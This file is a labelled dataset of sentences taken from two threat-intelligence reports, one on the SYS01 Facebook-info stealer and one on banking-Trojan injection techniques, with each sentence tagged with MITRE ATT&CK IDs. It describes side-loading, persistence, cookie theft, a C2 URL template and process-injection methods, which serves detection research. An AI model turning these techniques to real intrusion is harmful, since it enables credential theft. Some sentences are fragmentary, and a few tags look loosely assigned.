{"sentence": "Infection chain The Loader We’ve seen the payload delivered in diverse ways including DLL side-loading, Rust and Python executables, and many others.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "All methods eventually drop an Inno-Setup installer which, at the next stage, drops and executes the PHP information stealer.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "In this method, the victim downloads a zipped folder with different luring themes such as world cup live streaming, free applications, and more that abuse legitimate applications vulnerable to DLL side-loading attack.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The zipped folder usually holds the following file patterns: Executable.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "A benign, legitimate executable abused to side-load the malicious DLL", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "[A-Z]Data.dat (hidden).", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "A ZIP or self extracting archive (SFX) containing legitimate HTML webpages used as a decoy [A-Z]License (hidden).", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The Inno-Setup installer to be executed (base64 encoded with some string modifications) DLL (hidden).", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The malicious side loaded DLL Western Digital's WDSyncService.exe executable abused to side-load a malicious DLL", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "It does this by creating a thread that checks whether the License file exists.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "In the main thread the SFX/ZIP file is executed/decompressed, and the victim is shown the decoy HTML files.", "labels": ["T1140"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Decoy dropped to the folder In some samples we noticed cases where the .dat and License files are not included in the zipped folder.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Downloads the License file https://<domain>/files/dlz?t=wcup.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Downloads the .dat file as a ZIP dld Download the License (base64 encoded with string replacements)", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "(.dat file with the decoys)", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "DLL Side-Loading V2", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "In this method, the victim downloads a ZIP folder that purportedly contains an application or movie etc.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "[A-Z0-9]{15}>.exe Rust executable compiled with Cargo Next, it creates a scheduled task that runs the Rust executable by passing it as an argument to rhc.exe.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Dropping a Rust executable and popping a fake message box The Rust executable then downloads the next stage—an Inno-Setup installer that deploys the PHP information stealer from <domain_name>/files?t=<theme_name>&tp=d. We’ve also spotted similar delivery methods that dropped Python executables compiled with Nuitka instead of Rust to drop the next stage Inno-Setup.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "DLL Side-Loading V3 Similar to the other delivery methods, in this scenario a victim downloads what seems to be a game, movie, nude album, etc. FUD ZIP file with malicious DLL All the executables named as image files are in fact the same benign executable—WDSyncService.exe that is abused to side-load a malicious DLL named WDSync.dll. Zipped folder with the same executable file: WDSyncService.exe that side-loads WDSync.dll The WDSyncService.exe file is signed by Western Digital and acts as Western Digital’s sync service, which is written in C#.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The rest of the DLLs WDSyncService.exe uses are compressed and encrypted within WDSync.dll using the embedding dependencies feature by SmartAssembly.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Fake message box Meanwhile, a thread with malicious logic is executing.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "It starts with de-obfuscating the next stage (string replacements + base64 decoding) and writing it to a %tmp% folder under the hardcoded name TS.exe and executing it with “t” as an argument.", "labels": ["T1140"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Once the execution completes, the file is deleted to leave no evidence on the machine.", "labels": ["T1070.004"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Creates a scheduled task to be executed with d as an argument Option d checks if the file %localappdata%\\m.txt exists.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "If it does, the program exits because it means the info stealer is already running on the machine.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "As before, when the execution finishes the file is deleted to remove evidence from the machine.", "labels": ["T1070.004"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Drops next stage Inno-Setup executable Inno-Setup to PHP Information Stealer Once the Inno-Setup installer executes, it drops a PHP application with additional files, usually to %localappdata\\[A-Z]{4}\\<version_number>.", "labels": ["T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Between different variants of this information stealer, we saw the following files used to execute the malicious logic: include.php Responsible for installing persistence via scheduled tasks index.php Executes the main logic of the stealing act version.php (embedded in index.php if it does not exist)", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Holds the stealer version rhc.exe", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Base64 encoded string with several string replacements.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Once decoded, this executable, written in Rust and compiled with Cargo, gets the current date and time, and decrypts Chromium-based browsers’ encryption key In older variants the PHP scripts were not obfuscated in any manner.", "labels": ["T1140"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "In newer variants we noticed commercial encoders ionCube and Zephir, which are self-written extensions that obfuscate the PHP scripts.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "After dropping the folder, the Inno-Setup executable executes php.exe include.php, or passes this command line as an argument to rhc.exe. include.php registers two scheduled tasks: rhc.exe php.exe include.php rhc.exe php.exe index.php rhc.exe php.exe index.php", "labels": ["T1053.005", "T1059.003"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The first task is triggered at log-on.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The second task is triggered every two minutes.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The attacker must know the time to set it in the scheduled task.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "It does this by decoding the rss.txt into an executable, adding a uniquid at the end of the executable, and dropping it to %temp%\\tmp\\<uniqid>.exe.", "labels": ["T1140"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "If for some reason the operation fails, this script gets the current date and time running: “wmic os get LocalDateTime /value”.", "labels": ["T1047", "T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "createTS—creates scheduled task.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "createLG—creates scheduled task at logon index.php is the script where the stealing logic takes place.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Next, the script creates a machine ID associated with the victim and saves it to %localappdata%\\packages\\m.txt for future executions.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The machine ID is constructed by the following: uniqid() + _ + rand(111111, 999999).", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Later, it will call the getTask function that constructs the following URL url= URL_ENDPOINT .", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "a=http&dev=1&v={$config[\"version\"]}&machine_id={$macID}&from={$config['b']}&tag={$tag}&uname={$uname}&mt={$time}&f=\" .", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "FORCE_TASK; and issues a GET request to the C2 with information identifying the victim.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The response is a Json object with zero or more tasks in it.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "C2 response with tasks The main script routine goes over each task and acts accordingly.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "As seen in the main function there are five task types: get_ck_all, dlAR, upload, r, dl", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": ". index.php main routine get_ck_all Gets all cookies.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Iterating over based_ch, which consists of a list of Chromium-based browser names.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "It tries to extract the cookies and login data for each browser name, and after extracting this information checks if the flag sendD (send data) is set to true.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The attacker additionally checks whether the user has a Facebook account logged in or not.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "It does this by checking if the cookie hostname contains facebook.com and collects the session specific cookies xs and c_user that store the user ID and session secret respectively.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Extracting Facebook’s session cookies – xs and c_user If the victim has a logged in Facebook account (checked with xs name in Facebook’s cookie), and the rs_flag (resource flag) is set to true, the attacker will query Facebook’s graph API using the access token, obtained via Facebook’s graphql API, to steal the victim’s Facebook information and send it back to the C2.", "labels": ["T1041"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The stolen information is that set as fields in the URL parameter: C2 response—Facebook's graph API used to access sensitive information Extract victim’s sensitive Facebook data using the graph API and send the results to a C2 server dlAR Download and run.", "labels": ["T1041", "T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Downloads a file from the given URL and executes it with the given arguments.", "labels": ["T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "dlAR task At the time of writing, in the given task the downloaded file was an Inno-Setup executable that dropped a legitimate WD Discovery app to side-load", "labels": ["T1105", "T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "the malicious WDLocal.dll. Western’s Digital WDDdiscovery.exe side-loads malicious WDLocal.dll The side-loaded DLL issues a GET request to one of its hardcoded URLs with parameters stating the old machine ID, new machine ID, and the current version of the information stealer.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The response is a Json object that holds the new version number, URL to download the new version, command to be executed, and arguments.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Next, it creates a scheduled task that executes the updated routine, which triggers at log-on and every 30 minutes.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Information Stealer update routine upload Asks for a file to be uploaded to the C2, checks whether the file exists, and uploads it.", "labels": ["T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Gets command from C2 and executes it dl Sends a get request with the parameter “a=update” to the C2 and does the same as the dlAR task.", "labels": ["T1059.003"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Microsoft doesn’t enforce search order for a range of reasons, such as enabling things like portability and backwards compatibility—for example, portable browser applications that use older Microsoft libraries.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "But most developers aren't security minded.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "This enables threat actors to position a malicious payload alongside a legitimate application.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Then when an application loads in memory and search order is not enforced, the application loads the malicious file instead of the legitimate one, allowing threat actors to hijack legitimate, trusted, and even signed applications to load and execute malicious payloads.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Adversaries use side-loading attacks for execution, persistence, privilege escalation, and defense evasion.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "But attackers can still misuse highly popular Microsoft applications that were created in previous years that are legitimately signed.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "And they will be able to do so for many years to come.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Basic steps to help prevent SYS01 stealer include implementing a zero-trust policy and limiting users’ rights to download and install programs.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "so they know how to spot them.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "This is why the best protection is all-of-the-above plus a Defense-in-Depth approach.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Security tools like next generation anti-virus (NGAV), endpoint protection platforms (EPP), and endpoint detection and response (EDR, XDR, and MDR) are necessary, but not sufficient to stop stealers like SYS01 stealer.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The most effective way to secure runtime memory is with Moving Target Defense (MTD) technology.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Any code that attempts to execute on a decoy is immediately terminated and trapped for forensic analysis.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Executive Summary While advanced persistent threats get the most breathless coverage in the news, many threat actors have money on their mind rather than espionage.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "You can learn a lot about the innovations used by these financially motivated groups by watching banking Trojans.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Because attackers constantly create new techniques to evade detection and perform malicious acts, studying monetarily motivated malware can help defenders understand threat actor tactics and protect organizations more effectively.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Some of the banking Trojans described here are historically known for being financial malware, but now they’re primarily used as infrastructure to deliver other malware.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Which is to say, by preventing techniques used by banking Trojans, you can also stop other types of threats.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "We’ll survey techniques used by notorious banking Trojan families to evade detection, steal sensitive data and manipulate data.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "We’ll also describe how those techniques can be blocked.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "These families include Zeus, Kronos, Trickbot, IcedID, Emotet and Dridex.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Table of Contents What Are Webinjects?How to Detect WebinjectsInfecting Web Browsers During Process CreationHow to Prevent Attempts to Infect Web Browsers During Process CreationNamed Pipe Communication Between Injected ProcessesHow to Prevent Named Pipe Communication Between Injected ProcessesHeaven’s Gate Injection TechniqueHow to Prevent Heaven's GateEvasive Process Hollowing by Entrypoint PatchingHow to Prevent Evasive Process Hollowing by Entrypoint PatchingPE InjectionHow to Prevent PE InjectionProcess Injection via HookingHow to Prevent Injection via HookingAtomBombing Injection TechniqueHow to Prevent AtomBombing and its VariantsConclusionIndicators of Compromise What Are Webinjects?", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Webinjects are modules that can inject HTML or JavaScript before a web page is rendered, and are often used to trick users.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "They are known to be abused by banking Trojans, as well as being employed to steal credentials and manipulate form data inside web pages.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "In most banking Trojan families, there is at least one webinjects module.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "An early stager of the banking Trojan usually injects the banking Trojan’s main bot into a Windows process, and that process injects the webinjects module into the machine’s available web browser processes as shown in Figure 1. Figure 1.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Trickbot goes through processes one by one to find browsers to inject with its webinjects module, using a stealthy technique known as reflective injection.", "labels": ["T1057"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The webinjects module hooks the API calls responsible for sending, receiving or encrypting data sent to a web server.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "By intercepting the data before it is encrypted, the malware can read HTTP-POST headers and manipulate them on the fly.", "labels": ["T1071.001"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Trickbot webinjects module placing hooks based on the browser.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Trickbot placing hooks on wininet.dll functions.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The malware may inject HTML or JavaScript code to trick the user into inserting sensitive information, such as a PIN code or credit card number, enabling the malware to collect it.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The malware can extract this information and send it to its command and control (C2) server without actually sending the forged headers to the targeted web page server.", "labels": ["T1041"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Frequently hooked API functions.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The injected thread calls the NtProtectVirtualMemory function where the NewAccessProtection argument is PAGE_EXECUTE_READWRITE and the BaseAddress argument is an address to a library function targeted by banking Trojans.", "labels": ["T1055", "T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Inspecting NtProtectVirtualMemory calls covers both.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Instead, they suspend the remote process threads and install the hooks remotely.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Inspecting remote NtProtectVirtualMemory calls can detect this variant technique.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Infecting Web Browsers During Process Creation", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Once the banking Trojan executes in the context of the parent process, it hooks process creation library functions and waits until the real target is created.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The explorer.exe and runtimebroker.exe parent processes are frequently abused for this goal, as they usually launch the real targets.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For instance, the Karius banking Trojan used this technique by injecting code into explorer.exe and hooking CreateProcessInternalW. The Trojan’s hook handler looked for a spawned web browser process and injected the malicious webinjects module into it.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "How to Prevent Attempts to Infect Web Browsers During Process Creation", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "This technique can be prevented by looking for an injection into explorer.exe or runtimebroker.exe, where the injected thread hooks process creation functions like NtCreateUserProcess, NtCreateProcessEx, CreateProcessInternalW, CreateProcessA or CreateProcessW. Named Pipe Communication Between Injected Processes Many banking Trojans use named pipes to communicate with various processes under the threat actor’s control.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "To do this, they inject their main bot into a Windows process, and then inject their other modules into different processes according to the module’s purpose.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "They then establish communication between the different processes using named pipes.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "It creates a named pipe server and reflectively injects the webinjects module into web browsers.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "This injected module connects to the same named pipe as a client to communicate to the main bot and deliver the fetched credentials to the C2 server.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Trickbot named pipe server.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "An injected thread creates a named pipe inside a Windows process, and then another injected thread that lives inside a web browser attempts to connect to that same named pipe.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Heaven’s Gate Injection Technique Heaven's Gate is a technique used by malware, which enables a 32-bit (WoW64) process to execute 64-bit code by performing a far jump/call using segment selector 0x33.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Modern malware uses Heaven's Gate to inject into both 64-bit and 32-bit processes from a single 32-bit process on x64 systems.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "This bypasses WoW64 API hooks, it hinders analysis on some debuggers, and it fails emulation on some sandboxes.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Even though this method is old, it is still effective and frequently used.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Trickbot and Emotet loaders use Heaven's Gate for process hollowing from a WoW64 process into a 64-bit svchost.exe (For more about process hollowing, see the section on Evasive Process Hollowing By Entrypoint Patching below).", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Emotet using Heaven's Gate in its Microsoft Outlook Messaging API (MAPI) module.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Heaven's Gate does this transition manually.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Prevention methods can find Heaven's Gate by inspecting whether a WoW64 process system call didn’t go through the wow64cpu.dll.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "WoW64’s normal syscall flow.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Evasive Process Hollowing by Entrypoint Patching Process hollowing is a process injection technique that creates a new legitimate process in a suspended mode, unmaps its main image and replaces it with malicious code.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The malicious code is written into the newly created process and the suspended thread context instruction pointer is changed using NtGetContextThread/NtSetContextThread.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Security product vendors check for main image unmapping combined with the usage of NtGetContextThread/NtSetContextThread to detect process hollowing.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "A known technique for evading detection is to patch the process entry point with a small jump that redirects execution to the payload without actually using NtGetContextThread/NtSetContextThread functions or unmapping the main image.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Kronos mapped a suspended svchost.exe into its own process and patched it in its own memory address space.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Similar to other banking Trojans, Kronos' main module ran within svchost.exe and orchestrated the whole operation from the remote svchost.exe process.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Trickbot implemented process hollowing by first using VirtualProtectEx on the process entrypoint, and then writing the hook stub using WriteProcessMemory. Figure 8.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Kronos hook stub template – x86 opcodes for push and ret.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "How to Prevent Evasive Process Hollowing by Entrypoint Patching This technique can be prevented either by inspecting whether the address argument provided to the calls of NtWriteVirtualMemory or NtProtectVirtualMemory is a remote process entry point or by detecting suspicious remote mapping and reading of svchost.exe memory.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "PE Injection Common injection methods used by banking Trojans involve writing a mapped PE into a remote process using WriteProcessMemory.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Some malware families try to obscure the call by wiping artifacts from the buffer, such as wiping the PE header.", "labels": ["T1027"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For example, Zeus variants use this technique to inject themselves into other processes, allowing them to stay hidden, as well as to perform webinjects and to perpetrate financial data theft. Figure 10.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Zeus injection code from its leaked source code.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Injecting a banking Trojan’s main payload into a legitimate-looking process maintains stealth and helps avoid endpoint protection detection.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "This technique utilizes hooking to get code execution, usually by hooking a frequently called API function with a jump to a payload/shellcode.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "This avoids calling any suspicious APIs often used in code injection techniques like CreateRemoteThread or NtSetContextThread.", "labels": ["T1106"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For instance, IcedID injects its main bot into a hollowed instance of svchost.exe using API hooking.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "This is also known as the ZwClose technique (ZwClose was the hooked API in Zberp, the first to employ this injection technique in the wild).", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "It first hooks NtCreateUserProcess and then calls CreateProcessA to create svchost.exe without any special parameters or argument.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "In a regular flow, the newly created svchost.exe should terminate right away.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "IcedID hooks NtCreateUserProcess.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For the execution, IcedID hooks RtlExitUserProcess in the newly created svchost.exe with a jump stub to the payload.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "However, due to the IcedID hook, it will jump to the payload.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "IcedID hooks RtlExitUserProcess.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "How to Prevent Injection via Hooking This technique can be prevented by inspecting calls to NtProtectVirtualMemory and NtWriteVirtualMemory.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "In both cases, the remote process has to be a known injection target.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "AtomBombing Injection Technique AtomBombing is a technique that allows malware to inject code while avoiding calling suspicious APIs that security vendors are watching.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Dridex uses a slightly modified AtomBombing technique that injects one of its stages into a Windows process (usually explorer.exe) and employs various steps to cause financial data theft.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "Malware using the AtomBombing technique first writes the payload into the global atom table, which can be accessed by all processes.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The target thread then retrieves the payload from the global atom table and inserts it into a read/write (RW) region inside the target process memory space (a code cave inside the kernelbase.dll data section).", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "The payload has to be split into NULL-terminated strings and an atom is created for each string.", "labels": [], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
{"sentence": "For the execution, the injector process dispatches another APC using NtQueueApcThread to force the remote process to execute NtSetContextThread.", "labels": ["T1055"], "doc_title": "Banking Trojan Techniques How Financially Motivated Malware Became Infrastructure"}
